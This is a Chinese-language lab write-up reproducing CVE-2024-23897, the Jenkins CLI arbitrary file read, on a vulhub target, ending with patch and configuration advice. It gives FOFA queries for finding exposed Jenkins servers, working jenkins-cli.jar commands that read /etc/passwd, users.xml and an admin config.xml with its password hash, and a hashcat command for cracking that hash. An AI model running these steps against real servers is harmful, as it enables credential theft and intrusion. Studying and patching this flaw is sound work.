CVE-2024-23897-Jenkins任意文件读取漏洞复现

content

Jenkins是什么

Jenkins是一人基于Java开发的、可扩展的持续集成引擎,用于持续、自动地构建/测试软件项目,可以监控一些定时执行的任务。

官网文档:

Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建、测试和部署软件。 Jenkins

支持各种运行方式,可通过系统包、Docker 或者通过一个独立的 Java 程序。

持续集成引擎:

持续集成引擎就像是软件开发中的智能管家,能自动收集开发人员编写的代码并整合到一起,然后像组装机器一样对代码进行检查和组装,使其成为可运行的软件,接着还会对软件进行各种测试,一旦发现问题就及时告知开发人员,通过不断地重复这些操作,确保软件能快速、高质量地完成开发,而 Jenkins 就是这样一个基于 Java 开发的、能实现这些功能的持续集成引擎工具。

CVE-2024-23897

CVE - 2024 - 23897是Jenkins存在的一个任意文件读取漏洞。Jenkins为用户提供了命令行接口,用户能够借助jenkins - cli.jar调用该接口,进而执行Jenkins的部分功能。然而,当使用jenkins - cli.jar执行命令行操作时,服务端会利用第三方库args4j对命令行进行解析。在解析过程中,若参数以@开头,系统就会把它认定为一个文件名,随后读取该文件的内容并将其作为参数。这一机制存在风险,一旦参数设置不当,就可能引发报错,且报错信息会将文件内容显示出来,从而导致任意文件读取的情况发生。

目前我的能力只能把漏洞打一遍,原理分析请看P神的原理分析文章

受影响版本:

Jenkins 版本<= 2.441

Jenkins 版本<= LTS 2.426.2

fofa:

xml 复制代码
app="jenkins"

or

xml 复制代码
header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

vulhub开启靶场环境,访问本机8080端口

访问http://靶场IP:8080/jnlpJars/jenkins-cli.jar

触发漏洞,但是这个命令只能读取部分内容

powershell 复制代码
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 "@etc/passwd"

读取/proc/self/environ

一些命令输出行数较多,比如connect-node这个命令

powershell 复制代码
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/  connect-node "@etc/passwd"

如果开启了Allow anonymous read access就可以读取全部文件内容,靶场应该是默认开启了

Jenkins 安装将有一个文件/var/jenkins_home/users/users.xml,其中列出了此处的所有有效用户

powershell 复制代码
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"

这里读出来admin

users.xml显示系统上的单个用户,admin,其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608

在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。

所以现在读取/var/jenkins_home/users/admin_5965741382068509608/config.xml

powershell 复制代码
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"

读取到:

xml 复制代码
<passwordHash>#jbcrypt:$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG</passwordHash>

下面用kali自带字典和工具爆破密码

首先把$2a$10$b3fbT8hnHMeZ4CfoVZLTQOgAYbbl8nlQfVGeMhEozzooQDABlEtOG写入txt文件,再把rockyou.txt复制到当前路径

powershell 复制代码
hashcat -m 3200 info.txt rockyou.txt

开始爆破

但是尴尬了,报错* Device #1: Not enough allocatable device memory for this attack.我kali内存不够了,当时只分配了2G。

这边就直接说密码了,vulhub环境这个Jenkins密码是vulhub。用admin/vulhub登录成功。

登进后台安全管理界面可以发现Allow anonymous read access恰好是开启的。

总结

Jenkins提供了一个命令行的接口,jenkins-clijar是它的命令行客户端,通过jenkins-clijar可以去执行一些Jenkins中的功能。

利用条件:Jenkins 版本<= 2.441 和Jenkins 版本<= LTS 2.426.2+开启了Allow anonymous read access(读取完整文件)

流程:

因此根本原因是args4j这个库解析参数不当造成的

修复建议

Jenkins更新到最新版本

禁用Allow anonymous read access选项

相关推荐
乘云数字DATABUFF4 天前
5分钟部署开源APM Databuff:OpenTelemetry全链路追踪入门实战
运维·后端
荣--6 天前
一键部署不是为了省时间 —— 它是把"买来的 PaaS"变成"自己的平台"的拐点
运维·zabbix·工程化·一键部署·平台化·边界设计
江华森6 天前
动手实战学 Docker — 从零到集群编排完全指南
运维
Avan_菜菜6 天前
FRP 内网穿透完整实战:从 HTTP 映射到 HTTPS 自签代理
运维·nginx·https
SelectDB7 天前
Litefuse 开源并推出单进程轻量模式,25 秒就能跑起来的 Agent 可观测与评估平台
运维·后端·自动化运维
XIAOHEZIcode9 天前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏
用户0328472220709 天前
如何搭建本地yum源(上)
运维
大树8812 天前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠12 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
霸道流氓气质12 天前
领域驱动设计(DDD)在 Spring Boot 微服务中的实践指南
运维·spring boot·微服务